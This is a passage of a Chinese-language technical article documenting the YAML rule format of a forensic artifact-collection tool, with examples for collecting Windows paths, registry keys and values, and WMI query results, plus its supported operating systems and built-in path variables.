leaf=""><br/></span><span leaf="">  </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span leaf=""> </span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;%%environ_systemroot%%\System32\winevt\Logs\System.evtx&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;C:\Windows\System32\drivers\etc\hosts&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;windows&#39;</span></span><span leaf=""><br/></span></code></pre><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span style="display: none;"></span><span leaf="">PATH</span><span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">收集特定目录。</span></p><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">属性</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">描述</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: center;"><p><span leaf="">是否为必填项</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">paths</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">目录路径列表</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: center;"><p><span leaf="">✓</span></p></td></tr></tbody></table><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRdjkL336vU3etI8qUOeoqMaxrToEfIuZvSFbBQgTW9BXDfrNhnRhA4juxartmaVwu5gS2F30pNF8A/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;PATH&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">  </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;%%environ_systemroot%%\System32\winevt\Logs\&#39;</span><span leaf=""><br/></span><span leaf="">    - &#39;</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">C:\Windows\Temp&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;windows&#39;</span></span><span leaf=""><br/></span></code></pre><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span style="display: none;"></span><span leaf="">REGISTRY_KEY</span><span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">收集 Windows 注册表键。</span></p><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">属性</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">描述</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: center;"><p><span leaf="">是否为必填项</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">keys</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">注册表键路径列表</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: center;"><p><span leaf="">✓</span></p></td></tr></tbody></table><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRdjkL336vU3etI8qUOeoqMaxrToEfIuZvSFbBQgTW9BXDfrNhnRhA4juxartmaVwu5gS2F30pNF8A/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;REGISTRY_KEY&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">  </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">keys:</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;windows&#39;</span></span><span leaf=""><br/></span></code></pre><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span style="display: none;"></span><span leaf="">REGISTRY_VALUE</span><span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">收集 Windows 注册表特定键的值。</span></p><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">属性</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">描述</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: center;"><p><span leaf="">是否为必填项</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">key_value_pairs</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">键值对列表</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: center;"><p><span leaf="">✓</span></p></td></tr></tbody></table><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRdjkL336vU3etI8qUOeoqMaxrToEfIuZvSFbBQgTW9BXDfrNhnRhA4juxartmaVwu5gS2F30pNF8A/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;REGISTRY_VALUE&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">key_value_pairs:</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">{key:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run&#39;</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">,</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">value:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;SecurityHealth&#39;</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">}</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">{key:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Reliability&#39;</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">,</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">value:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;LastAliveStamp&#39;</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">}</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;windows&#39;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">特别说明：在 Windows 注册表中，value 的概念是 ValueName + ValueType + Data 的集合。本规则采用 Windows 中的 ValueName 作为 value 的值。</span></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span style="display: none;"></span><span leaf="">WMI</span><span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">通过 WMI 查询收集 Windows 系统信息。</span></p><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">属性</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">描述</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: center;"><p><span leaf="">是否为必填项</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">base_object</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WMI 命名空间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: center;"><p><span leaf="">✗</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">query</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WMI 查询语句(WQL)</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: center;"><p><span leaf="">✓</span></p></td></tr></tbody></table><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRdjkL336vU3etI8qUOeoqMaxrToEfIuZvSFbBQgTW9BXDfrNhnRhA4juxartmaVwu5gS2F30pNF8A/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;WMI&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">  </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">base_object:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;winmgmts:\root\cimv2&#39;</span></span><span leaf=""><br/></span><span leaf="">  </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">query:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;SELECT * FROM Win32_Process&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;windows&#39;</span></span><span leaf=""><br/></span></code></pre><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">4.3 支持的操作系统</span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">supported_os</span></code><span leaf=""> 字段定义了数据源适用的操作系统：</span></p><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">值</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">描述</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">windows</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">Windows 操作系统</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">linux</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">Linux 操作系统</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">darwin</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">macOS/OS X 操作系统</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">android</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">Android 操作系统</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">ios</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">iOS 操作系统</span></p></td></tr></tbody></table><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">5. 内置变量与通配符</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">规则支持多种内置变量，用于指定不同环境下的标准路径。在路径中可以使用通配符 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">*</span></code><span leaf=""> 和以下内置变量。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">5.1 POSIX 用户变量</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">变量名</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">说明</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">%%users_homedir%%</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">系统所有用户的主目录 (</span><code><span leaf="">MacOS: /Users/*</span></code><span leaf=""> 、</span><code><span leaf="">Linux: /home/*</span></code><span leaf=""> 以及 </span><code><span leaf="">/root</span></code><span leaf="">)</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">%%current_user_homedir%%</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">当前用户的主目录</span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">5.2 Windows 环境变量</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">变量名</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">说明</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">%%environ_allusersappdata%%</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">环境变量 =&gt; </span><code><span leaf="">%AllUsersAppData%</span></code><span leaf=""> 不存在时等于 </span><code><span leaf="">%ProgramData%</span></code><span leaf=""> 环境变量</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">%%environ_allusersprofile%%</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">环境变量 =&gt; </span><code><span leaf="">%AllUsersProfile%</span></code></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">%%environ_programdata%%</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">环境变量 =&gt; </span><code><span leaf="">%ProgramData%</span></code><span leaf=""> 不存在时等于 </span><code><span leaf="">%AllUsersAppData%</span></code><span leaf=""> 或 </span><code><span leaf="">%AllUsersProfile%\Application Data</span></code></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">%%environ_programfiles%%</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">环境变量 =&gt; </span><code><span leaf="">%ProgramFiles%</span></code></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">%%environ_programfilesx86%%</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">环境变量 =&gt; </span><code><span leaf="">%ProgramFiles(x86)%</span></code></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">%%environ_systemdrive%%</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">环境变量 =&gt; </span><code><span leaf="">%SystemDrive%</span></code><span leaf=""> （例如C:）</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">%%environ_systemroot%%</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">环境变量 =&gt; </span><code><span leaf="">%SystemRoot%</span></code><span leaf=""> （例如C:\Windows）</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">%%environ_windir%%</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">环境变量 =&gt; </span><code><span leaf="">%WinDir%</span></code><span leaf=""> （例如C:\Windows）</span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">5.3 Windows 用户变量</span><span style="display: none;"></span></h3><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span style="display: none;"></span><span leaf="">所有用户变量</span><span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这些变量会展开为系统上所有用户的对应路径：</span></p><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">变量名</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">说明</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">%%users_appdata%%</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">所有用户的环境变量 =&gt; </span><code><span leaf="">%AppData%</span></code><span leaf=""> 默认 Vista+: </span><code><span leaf="">%%users_userprofile%%\AppData\Roaming</span></code><span leaf=""> 旧版: </span><code><span leaf="">%%users_userprofile%%\Application Data</span></code></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">%%users_localappdata%%</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">所有用户的环境变量 =&gt; </span><code><span leaf="">%LocalAppData%</span></code><span leaf=""> Vista+默认:</span><code><span leaf="">%%users_userprofile%%\AppData\Local</span></code><span leaf=""> 旧版默认：</span><code><span leaf="">%%users_userprofile%%\Local Settings\Application Data</span></code></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">%%users_sid%%</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">所有用户的安全标识符 (SID)</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">%%users_temp%%</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">所有用户的环境变量 =&gt; </span><code><span leaf="">%TEMP%</span></code><span leaf=""> 或 </span><code><span leaf="">%TMP%</span></code><span leaf=""> 即所有用户的临时目录</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">%%users_username%%</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">所有用户的环境变量 =&gt; </span><code><span leaf="">%USERNAME%</span></code><span leaf=""> 即所有用户的名称</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">%%users_userprofile%%</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">所有用户的环境变量 =&gt; </span><code><span leaf="">%USERPROFILE%</span></code><span leaf=""> 即用户配置文件目录: Vista+默认: </span><code><span leaf="">C:\Users\用户名</span></code><span leaf=""> 旧版默认: </span><code><span leaf="">C:\Documents and Settings\用户名</span></code></p></td></tr></tbody></table><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span style="display: none;"></span><span leaf="">当前用户变量</span><span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这些变量仅展开为执行取证工具的当前用户路径：</span></p><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: 